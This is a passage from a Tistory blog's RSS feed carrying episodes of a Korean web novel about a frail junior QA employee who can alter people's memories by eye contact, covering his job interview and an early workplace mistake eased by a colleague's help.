&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;자, 됐죠? 다음부터는 로컬에 사본 만들고 작업해요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윤 대리는 아무 일도 아니라는 듯 자기 자리로 돌아갔다. 나는 멍하니 모니터를 바라봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장은 혀를 쯧 찼지만, 화를 내지는 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;모르면 물어보고 해요. 사고 치고 멍하니 있지 말고. 윤 대리, 신입 좀 잘 봐줘.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;네, 알겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 돌아가고, 나는 풀린 다리를 주체하지 못해 의자에 깊숙이 파묻혔다. 안도감과 함께 부끄러움이 밀려왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;능력을 쓰지 않아도 해결될 일이었다. 하마터면 별것 아닌 실수 때문에 팀장의 기억을 조작할 뻔했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;감사합니다, 대리님. 정말&amp;hellip; 감사합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 기어들어 가는 목소리로 말하자, 윤 대리가 피식 웃으며 캔커피 하나를 내 책상에 툭 올려놓았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;처음엔 다 그래요. 쫄지 마요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차가운 캔커피의 감촉이 손끝에 닿았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혼자서 모든 걸 통제하고 조작해야만 안전하다고 믿었던 내 세계에, &amp;lsquo;도움&amp;rsquo;이라는 낯선 단어가 들어온 순간이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 커피를 쥔 손에 힘을 주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;능력보다, 누군가의 손길이 더 따뜻할 수 있다는 걸.&lt;br /&gt;나는 오늘 처음 배웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;935&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d20M0P/dJMcabDbsC5/IkE92ippOpFWdmaAy58s11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d20M0P/dJMcabDbsC5/IkE92ippOpFWdmaAy58s11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d20M0P/dJMcabDbsC5/IkE92ippOpFWdmaAy58s11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd20M0P%2FdJMcabDbsC5%2FIkE92ippOpFWdmaAy58s11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;661&quot; height=&quot;661&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;935&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/206&quot;&gt;https://thepin.tistory.com/206&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771421896314&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제4화. 점심시간의 갈등&quot; data-og-description=&quot;제4화. 점심시간의 갈등직장인에게 점심시간은 유일한 해방구라지만, 신입 사원인 내게는 업무의 연장선일 뿐이었다.&amp;ldquo;한결 씨는 메뉴 뭐 먹을래요?&amp;rdquo;&amp;ldquo;아, 저는 아무거나 괜찮습니다.&amp;rdquo;회사 &quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/206&quot; data-og-url=&quot;https://thepin.tistory.com/206&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bjEEt6/dJMb8XR116Y/LAPHM0hODjw0iTaMsSq6r0/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dzHoJe/dJMb86OYfJ4/5LeG8IIiaVms6Al9pm8Mlk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/cdajDX/dJMb88F1j9d/6K1Q47mVLnRUmgv0xl82Ck/img.png?width=941&amp;amp;height=1024&amp;amp;face=0_0_941_1024&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/206&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/206&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bjEEt6/dJMb8XR116Y/LAPHM0hODjw0iTaMsSq6r0/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dzHoJe/dJMb86OYfJ4/5LeG8IIiaVms6Al9pm8Mlk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/cdajDX/dJMb88F1j9d/6K1Q47mVLnRUmgv0xl82Ck/img.png?width=941&amp;amp;height=1024&amp;amp;face=0_0_941_1024');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제4화. 점심시간의 갈등&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제4화. 점심시간의 갈등직장인에게 점심시간은 유일한 해방구라지만, 신입 사원인 내게는 업무의 연장선일 뿐이었다.&amp;ldquo;한결 씨는 메뉴 뭐 먹을래요?&amp;rdquo;&amp;ldquo;아, 저는 아무거나 괜찮습니다.&amp;rdquo;회사&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/204</guid>
      <comments>https://thepin.tistory.com/204#entry204comment</comments>
      <pubDate>Wed, 18 Feb 2026 13:58:26 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제2화. 면접의 시선</title>
      <link>https://thepin.tistory.com/203</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기 :&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/202&quot;&gt;https://thepin.tistory.com/202&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제2화. 면접의 시선&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스물여섯. 대학 졸업장은 땄지만, 내 몸은 여전히 열여덟 그 시절에서 크게 자라지 못한 것 같았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그랬다. 내 능력은 사람의 기억을 속일 수는 있어도, 시스템의 붕괴를 막지는 못했다.&lt;br /&gt;대학 졸업 후 인턴으로 일했던 스타트업 '데이터웨이브'가 그랬다. 서버가 터져나가고, 대표가 울부짖고, 모두가 패닉에 빠졌을 때, 나는 아무것도 할 수 없었다. 사람들의 공포를 잠시 지워줄 수는 있었지만, 500 에러로 도배된 모니터를 되돌릴 수는 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 회사는 망했다. 텅 빈 사무실에서 짐을 싸서 나오던 날, 나는 뼈저리게 깨달았다.&lt;br /&gt;세상을 지탱하는 건 마법 같은 초능력이 아니라, 견고한 코드 한 줄이라는 것을.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 트라우마가 나를 이 자리로 이끌었다.&lt;br /&gt;다시는 무력하게 무너지고 싶지 않다는 절박함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정장은 헐거웠고, 넥타이는 목을 조르는 올가미처럼 느껴졌다. 거울 속에 비친 나는 창백했다. 누가 봐도 &amp;lsquo;신입 사원의 패기&amp;rsquo;와는 거리가 먼, 금방이라도 쓰러질 것 같은 환자처럼 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;후우&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 깊은 숨을 내쉬며 넥솔브(Nexolve) 본사 로비에 들어섰다. 국내에서 손꼽히는 IT 솔루션 기업. 데이터 분석과 QA(품질 보증) 직무에 지원한 나는 서류 전형을 간신히 통과하고 최종 면접만을 남겨두고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대기실의 공기는 무거웠다. 옆자리에 앉은 지원자들은 중얼중얼 예상 답변을 외우거나, 자신감 넘치는 표정으로 다리를 떨고 있었다. 그들 틈에서 나는 마른 손바닥에 배어 나오는 식은땀을 바지에 닦아냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결 씨, 들어오세요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호명 소리에 몸을 일으켰다. 심장이 불규칙하게 뛰었다. 긴장 때문인지, 선천적인 부정맥 때문인지 알 수 없었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;면접관은 총 세 명이었다. 가운데 앉은 중년의 남자는 인사팀장인 듯했고, 양옆에는 실무진으로 보이는 사람들이 앉아 있었다. 그중 오른쪽 끝에 앉은, 날카로운 인상의 남자가 내 이력서를 훑어보며 미간을 찌푸렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결 씨.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 남자가 입을 열었다. 명패에는 &amp;lsquo;개발팀장 박성우&amp;rsquo;라고 적혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;네, 면접관님.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;포트폴리오는 나쁘지 않네요. 데이터 분석 자격증도 있고, 꼼꼼한 성격이라는 것도 알겠고. 그런데&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 고개를 들어 나를 훑어봤다. 마치 불량품을 검수하는 듯한 노골적인 시선이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;체력이 버텨주겠어요? 우리 회사는 야근도 많고, 프로젝트 마감 때는 며칠씩 밤새우는 일도 허다합니다. 이력서 보니까 병역도 면제던데. 솔직히 말해서, 들어와서 짐만 되는 거 아닙니까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예상했던 질문이었다. 하지만 막상 면전에서 &amp;lsquo;짐&amp;rsquo;이라는 단어를 들으니 가슴 한구석이 욱신거렸다. 나는 준비했던 답변을 꺼냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;체력적인 부분은 꾸준한 관리로 보완하고 있습니다. 그리고 저는 체력보다는 효율적인 시간 관리와 집중력으로 승부하는 편입니다. 주어진 시간 내에&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;말은 번지르르하게 잘하시네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 내 말을 뚝 끊었다. 그는 비웃듯 입꼬리를 올렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;효율? 집중력? 다 체력이 있어야 나오는 겁니다. 딱 보니까 멘탈도 약해 보이는데. 서버 터지고 고객사에서 전화 빗발치면 그 자리에서 기절하는 거 아니에요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옆에 있던 인사팀장이 난처한 듯 헛기침을 했지만, 박 팀장은 멈추지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;솔직히 말씀드릴게요. 저는 이한결 씨 같은 스타일 안 좋아합니다. 팀 분위기 처지게 만들 관상이야. 아픈 사람 배려해주느라 다른 팀원들이 고생하는 꼴, 제가 제일 싫어하거든요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 주먹을 꽉 쥐었다. 손톱이 살을 파고들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;참아야 해. 여기서 화내면 끝이야.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 침묵을 굴복으로 해석했는지, 그는 나를 위아래로 훑어보더니 결정타를 날리려는 듯 마지막 질문을 던졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;좋습니다. 그럼 기술 질문 하나 하죠. 만약 대규모 프로모션 중에 메인 서버가 터졌습니다. 개발팀은 패닉에 빠졌고, 원인 파악도 안 돼요. QA 담당자인 당신은 뭘 할 겁니까? 그냥 버그 리포트 쓰고 구경만 할 건가요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순간, 머리를 망치로 맞은 듯 멍해졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;서버가 터졌다.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 단어가 내 귓속에서 뇌관처럼 터졌다. 눈앞에 3년 전, &amp;lsquo;데이터웨이브&amp;rsquo;의 마지막 날이 파노라마처럼 스쳐 지나갔다. 붉은색 에러 메시지로 도배된 모니터. 대표의 울음 섞인 고함. 그리고 구석에서 아무것도 하지 못한 채, 회사가 망하는 걸 지켜봐야만 했던 무력한 나.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때의 공포가 심장을 다시 옥죄어왔다. 나는 나도 모르게 상체를 앞으로 숙이며, 거의 외치듯이 대답하기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;구경하지 않습니다. 아니, 절대로 구경만 해서는 안 됩니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 목소리가 떨리고 있었다. 하지만 그건 두려움 때문이 아니었다. 다시는 그 끔찍한 상황을 반복하지 않겠다는 절박함이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;QA는 버그를 찾는 사람이기도 하지만, 가장 먼저 시스템의 이상 징후를 감지하는 &amp;lsquo;레이더&amp;rsquo;가 되어야 합니다. 가장 먼저 Nginx 접근 로그부터 확인할 겁니다. &lt;code&gt;tail&lt;/code&gt;과 &lt;code&gt;awk&lt;/code&gt; 명령어로 실시간으로 어떤 요청에서 500 에러가 터지는지 패턴을 분석하고, &lt;code&gt;netstat&lt;/code&gt;으로 비정상적인 연결이 폭주하는 포트가 있는지 확인할 겁니다. 개발팀이 코드의 논리를 볼 때, 저는 데이터의 흐름과 시스템의 비명을 들을 겁니다. 원인 파악이 늦어지면, 일단 문제가 되는 API만이라도 임시로 차단해서 전체 시스템이 죽는 최악의 상황은 막아야 한다고 소리칠 겁니다. 회사가 망하는 것보다는, 욕을 먹더라도 핵심 기능이라도 살리는 게 먼저니까요!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숨도 쉬지 않고 말을 쏟아냈다. 면접이라는 사실도 잊었다. 내 눈앞에는 박 팀장이 아니라, 3년 전의 그 무력했던 내가 앉아 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적이 흘렀다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가운데 앉아 있던 인사팀장과 다른 면접관이 놀란 눈으로 나를 보고 있었다. 내 병약한 겉모습과, 방금 내가 쏟아낸 절박한 외침 사이의 간극에 압도당한 표정이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 박 팀장은 잠시 놀란 표정을 짓더니, 이내 다시 비웃음을 머금었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;말은 번지르르하네. 실전에서도 그래야 할 텐데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 한마디가 내 마지막 이성의 끈을 끊어버렸다. 실력으로, 경험에서 우러나온 진심으로 증명했는데도, 결국 돌아오는 건 &amp;lsquo;어차피 너는 안 될 거야&amp;rsquo;라는 낙인이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고개를 들었다. 박 팀장과 눈이 마주쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 순간, 익숙한 감각이 뇌리를 스쳤다. 8년 전, 교실 뒤편에서 느꼈던 그 차갑고 묵직한 것이 꿈틀거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;하지 마. 쓰면 안 돼.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이성이 경고했다. 하지만 본능은 이미 시신경을 개방하고 있었다. 나는 박 팀장의 눈동자 깊은 곳을 응시했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;당신은 지금 무례했어. 그리고 내 눈빛을 보고 깨닫는 거야. 내가 약해 빠진 환자가 아니라, 누구보다 침착하고 강단 있는 사람이라는 걸.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시간이 엿가락처럼 늘어지는 기분이었다. 나의 의지가 허공을 가르고 그의 망막에 꽂혔다. 박 팀장의 동공이 미세하게 흔들렸다. 비웃음이 걸려 있던 입꼬리가 서서히 내려갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;어?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 멍한 표정으로 눈을 깜빡였다. 그는 마치 방금 자다 깬 사람처럼 주위를 두리번거렸다. 그러다 다시 나를 보았다. 이번에는 경멸이 아닌, 당혹감과 알 수 없는 경외심이 담겨 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;제가&amp;hellip; 방금 무슨 말을&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 마른세수를 하며 헛기침을 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아, 흠. 미안합니다. 제가 말이 좀 심했군요. 이한결 씨 눈빛이&amp;hellip; 생각보다 살아있네요. 네, 아주&amp;hellip; 강렬합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분위기가 순식간에 반전되었다. 옆에 있던 다른 면접관들도 놀란 눈치였지만, 박 팀장의 태도 변화에 안도하는 분위기였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;질문 계속하겠습니다. 만약 입사하게 된다면&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;면접은 그 뒤로 물 흐르듯 진행되었다. 박 팀장은 더 이상 나를 공격하지 않았다. 오히려 내 답변에 고개를 끄덕이며 경청했다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;면접장을 빠져나오는 내 다리는 후들거리고 있었다. 긴장이 풀려서가 아니었다. 능력을 사용한 대가였다. 머리가 지끈거리고 시야가 살짝 흐릿했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일주일 뒤, 합격 문자가 도착했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[넥솔브] 최종 합격을 축하드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면을 바라보는 내 마음은 복잡했다. 기쁨보다는 찝찝함이 앞섰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 실력으로 붙은 걸까? 아니면 그 순간 박 팀장의 기억을 조작했기 때문에 붙은 걸까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 능력을 쓰지 않았다면 나는 떨어졌을까.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 휴대폰 화면을 끄고 검은 화면에 비친 내 눈을 바라봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이번이 마지막이야.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 나지막이 중얼거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사에서는 절대, 무슨 일이 있어도 이 눈을 쓰지 않겠다. 나는 괴물이 아니라, 유능한 사원 &amp;lsquo;이한결&amp;rsquo;로 인정받고 싶으니까.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그것이 사회에 첫발을 내디디며 내가 한 첫 번째 다짐이었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;947&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcMmCm/dJMcagqWnAE/H314dLZlxR44izk6uA38DK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcMmCm/dJMcagqWnAE/H314dLZlxR44izk6uA38DK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcMmCm/dJMcagqWnAE/H314dLZlxR44izk6uA38DK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcMmCm%2FdJMcagqWnAE%2FH314dLZlxR44izk6uA38DK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;667&quot; height=&quot;667&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;947&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/204&quot;&gt;https://thepin.tistory.com/204&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771421728397&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제3화. 첫 출근의 불안&quot; data-og-description=&quot;제3화. 첫 출근의 불안넥솔브의 아침은 전쟁터였다.엘리베이터 앞에 길게 늘어선 줄, 한 손에 커피를 들고 바쁘게 사원증을 찍는 사람들. 그 활기차고 치열한 풍경 속에 나, 이한결이 서 있었다.&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/204&quot; data-og-url=&quot;https://thepin.tistory.com/204&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b41is7/dJMb82Mzvj6/7YdbZKL65KhH3K0qgQEIV1/img.png?width=800&amp;amp;height=730&amp;amp;face=0_0_800_730,https://scrap.kakaocdn.net/dn/bJJn8q/dJMb87f2QB4/lkPWib2uvAACukx9OazfPK/img.png?width=800&amp;amp;height=730&amp;amp;face=0_0_800_730,https://scrap.kakaocdn.net/dn/pmVeo/dJMb88eW4qd/7w938qH2EzErFuNeFmzbl0/img.png?width=1024&amp;amp;height=935&amp;amp;face=0_0_1024_935&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/204&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/204&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b41is7/dJMb82Mzvj6/7YdbZKL65KhH3K0qgQEIV1/img.png?width=800&amp;amp;height=730&amp;amp;face=0_0_800_730,https://scrap.kakaocdn.net/dn/bJJn8q/dJMb87f2QB4/lkPWib2uvAACukx9OazfPK/img.png?width=800&amp;amp;height=730&amp;amp;face=0_0_800_730,https://scrap.kakaocdn.net/dn/pmVeo/dJMb88eW4qd/7w938qH2EzErFuNeFmzbl0/img.png?width=1024&amp;amp;height=935&amp;amp;face=0_0_1024_935');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제3화. 첫 출근의 불안&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제3화. 첫 출근의 불안넥솔브의 아침은 전쟁터였다.엘리베이터 앞에 길게 늘어선 줄, 한 손에 커피를 들고 바쁘게 사원증을 찍는 사람들. 그 활기차고 치열한 풍경 속에 나, 이한결이 서 있었다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/203</guid>
      <comments>https://thepin.tistory.com/203#entry203comment</comments>
      <pubDate>Wed, 18 Feb 2026 13:56:49 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제1화. 눈의 기억</title>
      <link>https://thepin.tistory.com/202</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/201&quot;&gt;https://thepin.tistory.com/201&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제1화. 눈의 기억&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿵. 쿵. 쿵.&lt;br /&gt;심장이 멋대로 날뛰었다. 폐가 찢어질 것 같았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운동장 트랙을 반 바퀴도 채 돌지 못했는데, 목구멍에서 비릿한 쇠 맛이 났다. 아이들의 함성 소리가 아득하게 멀어지고, 내 거친 숨소리만이 고막을 때렸다. 가슴을 쥐어짜는 통증. 태어날 때부터 내 것이었던 이 지긋지긋한 고통.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;한결아, 무리하지 말고 빠져.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;체육 선생님의 목소리가 구원처럼 들렸다. 나는 무릎을 짚고 고개를 끄덕였다. 태어날 때부터 그랬다. 남들보다 조금 작게 태어난 심장, 약한 호흡기. 내 몸은 세상의 속도를 따라가기에 턱없이 부족했다.&lt;/p&gt;
